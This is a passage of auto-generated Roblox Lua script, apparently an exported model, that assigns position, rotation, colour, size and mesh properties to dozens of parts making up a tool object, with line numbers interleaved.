Part189.CFrame = CFrame.new(27.1602783, 1.12915003, 139.747681, 0.999955893, 4.38506476e-08, -0.00939130783, -4.37110863e-08, 0.999995947, 1.50212571e-08, 0.00939150155, -1.46100732e-08, 0.99995172)
2678
Part189.BottomSurface = Enum.SurfaceType.Smooth
2679
Part189.TopSurface = Enum.SurfaceType.Smooth
2680
Part189.Color = Color3.new(0.105882, 0.164706, 0.207843)
2681
Part189.Position = Vector3.new(27.1602783, 1.12915003, 139.747681)
2682
Part189.Orientation = Vector3.new(0, -0.539999962, 0)
2683
Part189.Color = Color3.new(0.105882, 0.164706, 0.207843)
2684
SpecialMesh190.Parent = Part189
2685
SpecialMesh190.Scale = Vector3.new(0.0599999987, 0.209999993, 0.599999964)
2686
SpecialMesh190.MeshType = Enum.MeshType.Wedge
2687
SpecialMesh190.Scale = Vector3.new(0.0599999987, 0.209999993, 0.599999964)
2688
Part191.Parent = Tool0
2689
Part191.Material = Enum.Material.SmoothPlastic
2690
Part191.BrickColor = BrickColor.new("Black")
2691
Part191.Rotation = Vector3.new(-180, -89.4599991, -150)
2692
Part191.Anchored = true
2693
Part191.FormFactor = Enum.FormFactor.Custom
2694
Part191.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2695
Part191.CFrame = CFrame.new(27.0799561, 1.04418898, 139.736389, -0.00813286006, 0.00469568372, -0.999955893, 0.500007272, 0.866015971, 4.37111254e-08, 0.865977407, -0.499985069, -0.00939150155)
2696
Part191.BottomSurface = Enum.SurfaceType.Smooth
2697
Part191.TopSurface = Enum.SurfaceType.Smooth
2698
Part191.Color = Color3.new(0.105882, 0.164706, 0.207843)
2699
Part191.Position = Vector3.new(27.0799561, 1.04418898, 139.736389)
2700
Part191.Orientation = Vector3.new(0, -90.5400009, 30)
2701
Part191.Color = Color3.new(0.105882, 0.164706, 0.207843)
2702
BlockMesh192.Parent = Part191
2703
BlockMesh192.Offset = Vector3.new(0.0299999993, 0.00374999992, 0)
2704
BlockMesh192.Scale = Vector3.new(0.299999982, 0.1875, 0.450000018)
2705
BlockMesh192.Scale = Vector3.new(0.299999982, 0.1875, 0.450000018)
2706
Part193.Parent = Tool0
2707
Part193.Material = Enum.Material.SmoothPlastic
2708
Part193.BrickColor = BrickColor.new("Really black")
2709
Part193.Rotation = Vector3.new(0, 89.4599991, -90)
2710
Part193.Anchored = true
2711
Part193.FormFactor = Enum.FormFactor.Custom
2712
Part193.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2713
Part193.CFrame = CFrame.new(27.3004169, 1.39013696, 140.196228, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
2714
Part193.BottomSurface = Enum.SurfaceType.Smooth
2715
Part193.TopSurface = Enum.SurfaceType.Smooth
2716
Part193.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
2717
Part193.Position = Vector3.new(27.3004169, 1.39013696, 140.196228)
2718
Part193.Orientation = Vector3.new(0, 89.4599991, -90)
2719
Part193.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
2720
CylinderMesh194.Parent = Part193
2721
CylinderMesh194.Scale = Vector3.new(0.1875, 0.0299999993, 0.1875)
2722
CylinderMesh194.Scale = Vector3.new(0.1875, 0.0299999993, 0.1875)
2723
Part195.Parent = Tool0
2724
Part195.Material = Enum.Material.SmoothPlastic
2725
Part195.BrickColor = BrickColor.new("Black")
2726
Part195.Rotation = Vector3.new(-180, 0.539999962, 90)
2727
Part195.Anchored = true
2728
Part195.FormFactor = Enum.FormFactor.Custom
2729
Part195.Size = Vector3.new(0.371999979, 0.200000003, 0.449999988)
2730
Part195.CFrame = CFrame.new(27.3028564, 1.26708996, 139.914368, -4.35706298e-08, -0.999955893, 0.00939145684, -0.99999994, 4.37113812e-08, 1.4781123e-08, -1.51909649e-08, -0.00939150155, -0.999955773)
2731
Part195.BottomSurface = Enum.SurfaceType.Smooth
2732
Part195.TopSurface = Enum.SurfaceType.Smooth
2733
Part195.Color = Color3.new(0.105882, 0.164706, 0.207843)
2734
Part195.Position = Vector3.new(27.3028564, 1.26708996, 139.914368)
2735
Part195.Orientation = Vector3.new(0, 179.459991, -90)
2736
Part195.Color = Color3.new(0.105882, 0.164706, 0.207843)
2737
BlockMesh196.Parent = Part195
2738
BlockMesh196.Scale = Vector3.new(1, 0.524999976, 1)
2739
BlockMesh196.Scale = Vector3.new(1, 0.524999976, 1)
2740
Part197.Parent = Tool0
2741
Part197.Material = Enum.Material.SmoothPlastic
2742
Part197.BrickColor = BrickColor.new("Black")
2743
Part197.Rotation = Vector3.new(0, 89.4599991, -90)
2744
Part197.Anchored = true
2745
Part197.FormFactor = Enum.FormFactor.Custom
2746
Part197.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2747
Part197.CFrame = CFrame.new(27.3007813, 1.39013696, 140.166199, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
2748
Part197.BottomSurface = Enum.SurfaceType.Smooth
2749
Part197.TopSurface = Enum.SurfaceType.Smooth
2750
Part197.Color = Color3.new(0.105882, 0.164706, 0.207843)
2751
Part197.Position = Vector3.new(27.3007813, 1.39013696, 140.166199)
2752
Part197.Orientation = Vector3.new(0, 89.4599991, -90)
2753
Part197.Color = Color3.new(0.105882, 0.164706, 0.207843)
2754
CylinderMesh198.Parent = Part197
2755
CylinderMesh198.Scale = Vector3.new(0.299999982, 0.324000031, 0.299999982)
2756
CylinderMesh198.Scale = Vector3.new(0.299999982, 0.324000031, 0.299999982)
2757
Part199.Parent = Tool0
2758
Part199.Material = Enum.Material.SmoothPlastic
2759
Part199.BrickColor = BrickColor.new("Black")
2760
Part199.Rotation = Vector3.new(0, 89.4599991, -90)
2761
Part199.Anchored = true
2762
Part199.FormFactor = Enum.FormFactor.Custom
2763
Part199.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2764
Part199.CFrame = CFrame.new(27.3005371, 1.15014601, 140.148193, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
2765
Part199.BottomSurface = Enum.SurfaceType.Smooth
2766
Part199.TopSurface = Enum.SurfaceType.Smooth
2767
Part199.Color = Color3.new(0.105882, 0.164706, 0.207843)
2768
Part199.Position = Vector3.new(27.3005371, 1.15014601, 140.148193)
2769
Part199.Orientation = Vector3.new(0, 89.4599991, -90)
2770
Part199.Color = Color3.new(0.105882, 0.164706, 0.207843)
2771
CylinderMesh200.Parent = Part199
2772
CylinderMesh200.Scale = Vector3.new(0.375, 0.108000003, 0.375)
2773
CylinderMesh200.Scale = Vector3.new(0.375, 0.108000003, 0.375)
2774
Part201.Parent = Tool0
2775
Part201.Material = Enum.Material.SmoothPlastic
2776
Part201.BrickColor = BrickColor.new("Black")
2777
Part201.Rotation = Vector3.new(0, 89.4599991, -90)
2778
Part201.Anchored = true
2779
Part201.FormFactor = Enum.FormFactor.Custom
2780
Part201.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2781
Part201.CFrame = CFrame.new(27.3052979, 1.38427699, 139.680054, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
2782
Part201.BottomSurface = Enum.SurfaceType.Smooth
2783
Part201.TopSurface = Enum.SurfaceType.Smooth
2784
Part201.Color = Color3.new(0.105882, 0.164706, 0.207843)
2785
Part201.Position = Vector3.new(27.3052979, 1.38427699, 139.680054)
2786
Part201.Orientation = Vector3.new(0, 89.4599991, -90)
2787
Part201.Color = Color3.new(0.105882, 0.164706, 0.207843)
2788
Decal202.Parent = Part201
2789
Decal202.Texture = "http://www.roblox.com/asset/?id=65628034"
2790
Decal202.Face = Enum.NormalId.Bottom
2791
CylinderMesh203.Parent = Part201
2792
CylinderMesh203.Scale = Vector3.new(0.375, 0.108000003, 0.375)
2793
CylinderMesh203.Scale = Vector3.new(0.375, 0.108000003, 0.375)
2794
Part204.Parent = Tool0
2795
Part204.Material = Enum.Material.SmoothPlastic
2796
Part204.BrickColor = BrickColor.new("Black")
2797
Part204.Reflectance = 0.050000000745058
2798
Part204.Rotation = Vector3.new(0, 89.4599991, -180)
2799
Part204.Anchored = true
2800
Part204.FormFactor = Enum.FormFactor.Custom
2801
Part204.Size = Vector3.new(0.209999993, 0.396000028, 0.200000003)
2802
Part204.CFrame = CFrame.new(27.0994873, 1.12011695, 137.605225, -0.00939130783, 4.48289548e-08, 0.999955833, -1.19209247e-07, -0.999999404, 4.37113883e-08, 0.999954998, -1.18793444e-07, 0.00939165056)
2803
Part204.BottomSurface = Enum.SurfaceType.Smooth
2804
Part204.TopSurface = Enum.SurfaceType.Smooth
2805
Part204.Color = Color3.new(0.105882, 0.164706, 0.207843)
2806
Part204.Position = Vector3.new(27.0994873, 1.12011695, 137.605225)
2807
Part204.Orientation = Vector3.new(0, 89.4599991, -180)
2808
Part204.Color = Color3.new(0.105882, 0.164706, 0.207843)
2809
CylinderMesh205.Parent = Part204
2810
CylinderMesh205.Scale = Vector3.new(1, 1, 0.599999964)
2811
CylinderMesh205.Scale = Vector3.new(1, 1, 0.599999964)
2812
Part206.Parent = Tool0
2813
Part206.Material = Enum.Material.SmoothPlastic
2814
Part206.BrickColor = BrickColor.new("Black")
2815
Part206.Reflectance = 0.050000000745058
2816
Part206.Rotation = Vector3.new(-180, 0.539999962, 0)
2817
Part206.Anchored = true
2818
Part206.FormFactor = Enum.FormFactor.Custom
2819
Part206.Size = Vector3.new(0.200000003, 0.209999993, 0.200000003)
2820
Part206.CFrame = CFrame.new(27.1021729, 0.943114996, 137.335159, 0.999955833, 0, 0.00939165056, 0, -1, 0, 0.00939165056, 0, -0.999955833)
2821
Part206.BottomSurface = Enum.SurfaceType.Smooth
2822
Part206.TopSurface = Enum.SurfaceType.Smooth
2823
Part206.Color = Color3.new(0.105882, 0.164706, 0.207843)
2824
Part206.Position = Vector3.new(27.1021729, 0.943114996, 137.335159)
2825
Part206.Orientation = Vector3.new(0, 179.459991, 180)
2826
Part206.Color = Color3.new(0.105882, 0.164706, 0.207843)
2827
SpecialMesh207.Parent = Part206
2828
SpecialMesh207.Scale = Vector3.new(0.450000018, 1, 1.35000002)
2829
SpecialMesh207.MeshType = Enum.MeshType.Wedge
2830
SpecialMesh207.Scale = Vector3.new(0.450000018, 1, 1.35000002)
2831
Part208.Parent = Tool0
2832
Part208.Material = Enum.Material.SmoothPlastic
2833
Part208.BrickColor = BrickColor.new("Black")
2834
Part208.Reflectance = 0.050000000745058
2835
Part208.Rotation = Vector3.new(-102.919998, 1.46999991, 173.62999)
2836
Part208.Anchored = true
2837
Part208.FormFactor = Enum.FormFactor.Custom
2838
Part208.Size = Vector3.new(0.200000003, 0.252000004, 0.200000003)
2839
Part208.CFrame = CFrame.new(27.1033936, 0.812255979, 137.199951, -0.99349612, -0.110945165, 0.0256136917, -3.66314552e-08, 0.22495088, 0.974369586, -0.113863662, 0.968032122, -0.223487809)
2840
Part208.BottomSurface = Enum.SurfaceType.Smooth
2841
Part208.TopSurface = Enum.SurfaceType.Smooth
2842
Part208.Color = Color3.new(0.105882, 0.164706, 0.207843)
2843
Part208.Position = Vector3.new(27.1033936, 0.812255979, 137.199951)
2844
Part208.Orientation = Vector3.new(-77, 173.459991, 0)
2845
Part208.Color = Color3.new(0.105882, 0.164706, 0.207843)
2846
SpecialMesh209.Parent = Part208
2847
SpecialMesh209.Scale = Vector3.new(0.599999964, 1.26000011, 0.75)
2848
SpecialMesh209.MeshType = Enum.MeshType.Wedge
2849
SpecialMesh209.Scale = Vector3.new(0.599999964, 1.26000011, 0.75)
2850
Part210.Parent = Tool0
2851
Part210.Material = Enum.Material.SmoothPlastic
2852
Part210.BrickColor = BrickColor.new("Brick yellow")
2853
Part210.Reflectance = 0.050000000745058
2854
Part210.Rotation = Vector3.new(180, -89.4599991, -90)
2855
Part210.Anchored = true
2856
Part210.FormFactor = Enum.FormFactor.Custom
2857
Part210.Size = Vector3.new(0.200000003, 0.972000062, 0.270000011)
2858
Part210.CFrame = CFrame.new(27.1000977, 1.24316394, 137.539001, 3.56089729e-15, 0.00939133763, -0.999955833, 0.999999881, 8.8817842e-16, -3.55271368e-15, -8.54773505e-16, -0.999955535, -0.00939165056)
2859
Part210.BottomSurface = Enum.SurfaceType.Smooth
2860
Part210.TopSurface = Enum.SurfaceType.Smooth
2861
Part210.Color = Color3.new(0.843137, 0.772549, 0.603922)
2862
Part210.Position = Vector3.new(27.1000977, 1.24316394, 137.539001)
2863
Part210.Orientation = Vector3.new(0, -90.5400009, 90)
2864
Part210.Color = Color3.new(0.843137, 0.772549, 0.603922)
2865
CylinderMesh211.Parent = Part210
2866
CylinderMesh211.Scale = Vector3.new(1.19999993, 1, 1.60000002)
2867
CylinderMesh211.Scale = Vector3.new(1.19999993, 1, 1.60000002)
2868
Part212.Parent = Tool0
2869
Part212.Material = Enum.Material.SmoothPlastic
2870
Part212.BrickColor = BrickColor.new("Brick yellow")
2871
Part212.Reflectance = 0.050000000745058
2872
Part212.Rotation = Vector3.new(-180, 0.539999962, 180)
2873
Part212.Anchored = true
2874
Part212.FormFactor = Enum.FormFactor.Custom
2875
Part212.Size = Vector3.new(0.200000003, 0.540000021, 0.200000003)
2876
Part212.CFrame = CFrame.new(27.1049805, 0.982177973, 137.038269, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
2877
Part212.BottomSurface = Enum.SurfaceType.Smooth
2878
Part212.TopSurface = Enum.SurfaceType.Smooth
2879
Part212.Color = Color3.new(0.843137, 0.772549, 0.603922)
2880
Part212.Position = Vector3.new(27.1049805, 0.982177973, 137.038269)
2881
Part212.Orientation = Vector3.new(0, 179.459991, 0)
2882
Part212.Color = Color3.new(0.843137, 0.772549, 0.603922)
2883
BlockMesh213.Parent = Part212
2884
BlockMesh213.Scale = Vector3.new(0.75, 1, 0.149999991)
2885
BlockMesh213.Scale = Vector3.new(0.75, 1, 0.149999991)
2886
Part214.Parent = Tool0
2887
Part214.Material = Enum.Material.SmoothPlastic
2888
Part214.BrickColor = BrickColor.new("Black")
2889
Part214.Reflectance = 0.050000000745058
2890
Part214.Rotation = Vector3.new(-180, 0.539999962, 180)
2891
Part214.Anchored = true
2892
Part214.FormFactor = Enum.FormFactor.Custom
2893
Part214.Size = Vector3.new(0.200000003, 0.216000006, 0.200000003)
2894
Part214.CFrame = CFrame.new(27.104126, 0.940186024, 137.125427, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
2895
Part214.BottomSurface = Enum.SurfaceType.Smooth
2896
Part214.TopSurface = Enum.SurfaceType.Smooth
2897
Part214.Color = Color3.new(0.105882, 0.164706, 0.207843)
2898
Part214.Position = Vector3.new(27.104126, 0.940186024, 137.125427)
2899
Part214.Orientation = Vector3.new(0, 179.459991, 0)
2900
Part214.Color = Color3.new(0.105882, 0.164706, 0.207843)
2901
BlockMesh215.Parent = Part214
2902
BlockMesh215.Scale = Vector3.new(0.450000018, 1, 0.75)
2903
BlockMesh215.Scale = Vector3.new(0.450000018, 1, 0.75)
2904
Part216.Parent = Tool0
2905
Part216.Material = Enum.Material.SmoothPlastic
2906
Part216.BrickColor = BrickColor.new("Brick yellow")
2907
Part216.Reflectance = 0.050000000745058
2908
Part216.Rotation = Vector3.new(180, -89.4599991, -90)
2909
Part216.Anchored = true
2910
Part216.FormFactor = Enum.FormFactor.Custom
2911
Part216.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2912
Part216.CFrame = CFrame.new(27.1051025, 0.727294981, 137.041504, -4.398931e-08, 0.00939130783, -0.999955833, 0.999999404, 2.98023117e-08, -4.37113883e-08, 2.93904776e-08, -0.999954998, -0.00939165056)
2913
Part216.BottomSurface = Enum.SurfaceType.Smooth
2914
Part216.TopSurface = Enum.SurfaceType.Smooth
2915
Part216.Color = Color3.new(0.843137, 0.772549, 0.603922)
2916
Part216.Position = Vector3.new(27.1051025, 0.727294981, 137.041504)
2917
Part216.Orientation = Vector3.new(0, -90.5400009, 90)
2918
Part216.Color = Color3.new(0.843137, 0.772549, 0.603922)
2919
CylinderMesh217.Parent = Part216
2920
CylinderMesh217.Scale = Vector3.new(0.75, 0.180000007, 0.75)
2921
CylinderMesh217.Scale = Vector3.new(0.75, 0.180000007, 0.75)
2922
Part218.Parent = Tool0
2923
Part218.Material = Enum.Material.SmoothPlastic
2924
Part218.BrickColor = BrickColor.new("Black")
2925
Part218.Reflectance = 0.050000000745058
2926
Part218.Rotation = Vector3.new(135, 0.379999995, -179.619995)
2927
Part218.Anchored = true
2928
Part218.FormFactor = Enum.FormFactor.Custom
2929
Part218.Size = Vector3.new(0.200000003, 0.200000003, 0.300000012)
2930
Part218.CFrame = CFrame.new(27.1015625, 0.95214802, 137.403931, -0.999955833, 0.0066408813, 0.0066409111, -4.37113883e-08, 0.707106292, -0.707106292, -0.00939165056, -0.707075179, -0.707075119)
2931
Part218.BottomSurface = Enum.SurfaceType.Smooth
2932
Part218.TopSurface = Enum.SurfaceType.Smooth
2933
Part218.Color = Color3.new(0.105882, 0.164706, 0.207843)
2934
Part218.Position = Vector3.new(27.1015625, 0.95214802, 137.403931)
2935
Part218.Orientation = Vector3.new(45, 179.459991, 0)
2936
Part218.Color = Color3.new(0.105882, 0.164706, 0.207843)
2937
BlockMesh219.Parent = Part218
2938
BlockMesh219.Scale = Vector3.new(0.75, 0.540000021, 1)
2939
BlockMesh219.Scale = Vector3.new(0.75, 0.540000021, 1)
2940
Part220.Parent = Tool0
2941
Part220.Material = Enum.Material.SmoothPlastic
2942
Part220.BrickColor = BrickColor.new("Black")
2943
Part220.Reflectance = 0.050000000745058
2944
Part220.Rotation = Vector3.new(-180, 0.539999962, 180)
2945
Part220.Anchored = true
2946
Part220.FormFactor = Enum.FormFactor.Custom
2947
Part220.Size = Vector3.new(0.200000003, 0.200000003, 0.720000029)
2948
Part220.CFrame = CFrame.new(27.1015625, 1.06909204, 137.4104, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
2949
Part220.BottomSurface = Enum.SurfaceType.Smooth
2950
Part220.TopSurface = Enum.SurfaceType.Smooth
2951
Part220.Color = Color3.new(0.105882, 0.164706, 0.207843)
2952
Part220.Position = Vector3.new(27.1015625, 1.06909204, 137.4104)
2953
Part220.Orientation = Vector3.new(0, 179.459991, 0)
2954
Part220.Color = Color3.new(0.105882, 0.164706, 0.207843)
2955
BlockMesh221.Parent = Part220
2956
BlockMesh221.Offset = Vector3.new(0, 0, 0.00300000003)
2957
BlockMesh221.Scale = Vector3.new(0.450000018, 0.360000014, 1)
2958
BlockMesh221.Scale = Vector3.new(0.450000018, 0.360000014, 1)
2959
Part222.Parent = Tool0
2960
Part222.Material = Enum.Material.SmoothPlastic
2961
Part222.BrickColor = BrickColor.new("Black")
2962
Part222.Reflectance = 0.050000000745058
2963
Part222.Rotation = Vector3.new(-180, 0.539999962, 180)
2964
Part222.Anchored = true
2965
Part222.FormFactor = Enum.FormFactor.Custom
2966
Part222.Size = Vector3.new(0.200000003, 0.200000003, 0.300000012)
2967
Part222.CFrame = CFrame.new(27.0994873, 1.04223597, 137.620071, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
2968
Part222.BottomSurface = Enum.SurfaceType.Smooth
2969
Part222.TopSurface = Enum.SurfaceType.Smooth
2970
Part222.Color = Color3.new(0.105882, 0.164706, 0.207843)
2971
Part222.Position = Vector3.new(27.0994873, 1.04223597, 137.620071)
2972
Part222.Orientation = Vector3.new(0, 179.459991, 0)
2973
Part222.Color = Color3.new(0.105882, 0.164706, 0.207843)
2974
BlockMesh223.Parent = Part222
2975
BlockMesh223.Scale = Vector3.new(0.75, 0.540000021, 1)
2976
BlockMesh223.Scale = Vector3.new(0.75, 0.540000021, 1)
2977
Part224.Parent = Tool0
2978
Part224.Material = Enum.Material.SmoothPlastic
2979
Part224.BrickColor = BrickColor.new("Black")
2980
Part224.Reflectance = 0.050000000745058
2981
Part224.Rotation = Vector3.new(180, 0.539999962, 180)
2982
Part224.Anchored = true
2983
Part224.FormFactor = Enum.FormFactor.Custom
2984
Part224.Size = Vector3.new(0.200000003, 0.200000003, 0.540000021)
2985
Part224.CFrame = CFrame.new(27.1009521, 1.10815406, 137.500504, -0.999955297, -4.35694645e-08, 0.00939142704, -4.37113741e-08, 0.999999106, -1.49011612e-08, -0.00939147174, -1.53110111e-08, -0.99995476)
2986
Part224.BottomSurface = Enum.SurfaceType.Smooth
2987
Part224.TopSurface = Enum.SurfaceType.Smooth
2988
Part224.Color = Color3.new(0.105882, 0.164706, 0.207843)
2989
Part224.Position = Vector3.new(27.1009521, 1.10815406, 137.500504)
2990
Part224.Orientation = Vector3.new(0, 179.459991, 0)
2991
Part224.Color = Color3.new(0.105882, 0.164706, 0.207843)
2992
BlockMesh225.Parent = Part224
2993
BlockMesh225.Offset = Vector3.new(0, 0, 0.00300000003)
2994
BlockMesh225.Scale = Vector3.new(0.450000018, 0.900000036, 1)
2995
BlockMesh225.Scale = Vector3.new(0.450000018, 0.900000036, 1)
2996
Part226.Parent = Tool0
2997
Part226.Material = Enum.Material.SmoothPlastic
2998
Part226.BrickColor = BrickColor.new("Brick yellow")
2999
Part226.Reflectance = 0.050000000745058
3000
Part226.Rotation = Vector3.new(0, 89.4599991, -180)
3001
Part226.Anchored = true
3002
Part226.FormFactor = Enum.FormFactor.Custom
3003
Part226.Size = Vector3.new(0.200000003, 0.540000021, 0.200000003)
3004
Part226.CFrame = CFrame.new(26.9997559, 0.982177973, 137.037064, -0.00939130783, 4.398931e-08, 0.999955833, -2.98023117e-08, -0.999999404, 4.37113883e-08, 0.999954998, -2.93904776e-08, 0.00939165056)
3005
Part226.BottomSurface = Enum.SurfaceType.Smooth
3006
Part226.TopSurface = Enum.SurfaceType.Smooth
3007
Part226.Color = Color3.new(0.843137, 0.772549, 0.603922)
3008
Part226.Position = Vector3.new(26.9997559, 0.982177973, 137.037064)
3009
Part226.Orientation = Vector3.new(0, 89.4599991, -180)
3010
Part226.Color = Color3.new(0.843137, 0.772549, 0.603922)
3011
SpecialMesh227.Parent = Part226
3012
SpecialMesh227.Scale = Vector3.new(0.149999991, 1, 0.299999982)
3013
SpecialMesh227.MeshType = Enum.MeshType.Wedge
3014
SpecialMesh227.Scale = Vector3.new(0.149999991, 1, 0.299999982)
3015
Part228.Parent = Tool0
3016
Part228.Material = Enum.Material.SmoothPlastic
3017
Part228.BrickColor = BrickColor.new("Black")
3018
Part228.Reflectance = 0.050000000745058
3019
Part228.Rotation = Vector3.new(-90, 0, 179.459991)
3020
Part228.Anchored = true
3021
Part228.FormFactor = Enum.FormFactor.Custom
3022
Part228.Size = Vector3.new(0.200000003, 0.99000001, 0.228)
3023
Part228.CFrame = CFrame.new(27.0190411, 1.24609399, 139.761414, -0.999955833, -0.00939133763, 3.56089729e-15, -3.55271368e-15, -8.8817842e-16, 0.999999881, -0.00939165056, 0.999955535, -8.54773505e-16)
3024
Part228.BottomSurface = Enum.SurfaceType.Smooth
3025
Part228.TopSurface = Enum.SurfaceType.Smooth
3026
Part228.Color = Color3.new(0.105882, 0.164706, 0.207843)
3027
Part228.Position = Vector3.new(27.0190411, 1.24609399, 139.761414)
3028
Part228.Orientation = Vector3.new(-89.9700012, 103.5, -104.040001)
3029
Part228.Color = Color3.new(0.105882, 0.164706, 0.207843)
3030
CylinderMesh229.Parent = Part228
3031
CylinderMesh229.Offset = Vector3.new(0, -0.00239999988, 0)
3032
CylinderMesh229.Scale = Vector3.new(1.13999999, 1.00999987, 2)
3033
CylinderMesh229.Scale = Vector3.new(1.13999999, 1.00999987, 2)
3034
Part230.Parent = Tool0
3035
Part230.Material = Enum.Material.SmoothPlastic
3036
Part230.BrickColor = BrickColor.new("Brick yellow")
3037
Part230.Rotation = Vector3.new(-180, 0.539999962, -180)
3038
Part230.Anchored = true
3039
Part230.FormFactor = Enum.FormFactor.Custom
3040
Part230.Size = Vector3.new(0.200000003, 0.200000003, 0.810000002)
3041
Part230.CFrame = CFrame.new(26.8995361, 1.26122999, 139.760315, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
3042
Part230.BottomSurface = Enum.SurfaceType.Smooth
3043
Part230.TopSurface = Enum.SurfaceType.Smooth
3044
Part230.Color = Color3.new(0.843137, 0.772549, 0.603922)
3045
Part230.Position = Vector3.new(26.8995361, 1.26122999, 139.760315)
3046
Part230.Orientation = Vector3.new(0, 179.459991, 0)
3047
Part230.Color = Color3.new(0.843137, 0.772549, 0.603922)
3048
BlockMesh231.Parent = Part230
3049
BlockMesh231.Offset = Vector3.new(-0.0149999997, 0, 0)
3050
BlockMesh231.Scale = Vector3.new(0.299999982, 0.599999964, 0.998999953)
3051
BlockMesh231.Scale = Vector3.new(0.299999982, 0.599999964, 0.998999953)
3052
Part232.Parent = Tool0
3053
Part232.Material = Enum.Material.SmoothPlastic
3054
Part232.BrickColor = BrickColor.new("Brick yellow")
3055
Part232.Reflectance = 0.050000000745058
3056
Part232.Rotation = Vector3.new(180, -89.4599991, 0)
3057
Part232.Anchored = true
3058
Part232.FormFactor = Enum.FormFactor.Custom
3059
Part232.Size = Vector3.new(0.200000003, 0.540000021, 0.200000003)
3060
Part232.CFrame = CFrame.new(27.2097168, 0.988281012, 137.039001, 0.00939130783, 4.398931e-08, -0.999955833, 2.98023117e-08, -0.999999404, -4.37113883e-08, -0.999954998, -2.93904776e-08, -0.00939165056)
3061
Part232.BottomSurface = Enum.SurfaceType.Smooth
3062
Part232.TopSurface = Enum.SurfaceType.Smooth
3063
Part232.Color = Color3.new(0.843137, 0.772549, 0.603922)
3064
Part232.Position = Vector3.new(27.2097168, 0.988281012, 137.039001)
3065
Part232.Orientation = Vector3.new(0, -90.5400009, 180)
3066
Part232.Color = Color3.new(0.843137, 0.772549, 0.603922)
3067
SpecialMesh233.Parent = Part232
3068
SpecialMesh233.Scale = Vector3.new(0.149999991, 1, 0.299999982)
3069
SpecialMesh233.MeshType = Enum.MeshType.Wedge
3070
SpecialMesh233.Scale = Vector3.new(0.149999991, 1, 0.299999982)
3071
Part234.Parent = Tool0
3072
Part234.Material = Enum.Material.SmoothPlastic
3073
Part234.BrickColor = BrickColor.new("Black")
3074
Part234.Reflectance = 0.050000000745058
3075
Part234.Rotation = Vector3.new(180, -89.4599991, -90)
3076
Part234.Anchored = true
3077
Part234.FormFactor = Enum.FormFactor.Custom
3078
Part234.Size = Vector3.new(0.200000003, 0.200000003, 0.270000011)
3079
Part234.CFrame = CFrame.new(27.0954571, 1.273193, 138.040222, 3.56089729e-15, 0.00939133763, -0.999955833, 0.999999881, 8.8817842e-16, -3.55271368e-15, -8.54773505e-16, -0.999955535, -0.00939165056)
3080
Part234.BottomSurface = Enum.SurfaceType.Smooth
3081
Part234.TopSurface = Enum.SurfaceType.Smooth
3082
Part234.Color = Color3.new(0.105882, 0.164706, 0.207843)
3083
Part234.Position = Vector3.new(27.0954571, 1.273193, 138.040222)
3084
Part234.Orientation = Vector3.new(0, -90.5400009, 90)
3085
Part234.Color = Color3.new(0.105882, 0.164706, 0.207843)
3086
CylinderMesh235.Parent = Part234
3087
CylinderMesh235.Offset = Vector3.new(-0.00600000005, 0, 0)
3088
CylinderMesh235.Scale = Vector3.new(0.900000036, 3.75000095, 1)
3089
CylinderMesh235.Scale = Vector3.new(0.900000036, 3.75000095, 1)
3090
Part236.Parent = Tool0
3091
Part236.Material = Enum.Material.SmoothPlastic
3092
Part236.BrickColor = BrickColor.new("Black")
3093
Part236.Reflectance = 0.050000000745058
3094
Part236.Rotation = Vector3.new(-180, 0.539999962, 180)
3095
Part236.Anchored = true
3096
Part236.FormFactor = Enum.FormFactor.Custom
3097
Part236.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
3098
Part236.CFrame = CFrame.new(27.1049805, 1.12329102, 137.056335, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
3099
Part236.BottomSurface = Enum.SurfaceType.Smooth
3100
Part236.TopSurface = Enum.SurfaceType.Smooth
3101
Part236.Color = Color3.new(0.105882, 0.164706, 0.207843)
3102
Part236.Position = Vector3.new(27.1049805, 1.12329102, 137.056335)
3103
Part236.Orientation = Vector3.new(0, 179.459991, 0)
3104
Part236.Color = Color3.new(0.105882, 0.164706, 0.207843)
3105
BlockMesh237.Parent = Part236
3106
BlockMesh237.Scale = Vector3.new(0.450000018, 0.900000036, 0.299999982)
3107
BlockMesh237.Scale = Vector3.new(0.450000018, 0.900000036, 0.299999982)
3108
Part238.Parent = Tool0
3109
Part238.Material = Enum.Material.SmoothPlastic
3110
Part238.BrickColor = BrickColor.new("Brick yellow")
3111
Part238.Reflectance = 0.050000000745058
3112
Part238.Rotation = Vector3.new(180, -89.4499969, -90)
3113
Part238.Anchored = true
3114
Part238.FormFactor = Enum.FormFactor.Custom
3115
Part238.Size = Vector3.new(0.270000011, 0.200000003, 0.270000011)
3116
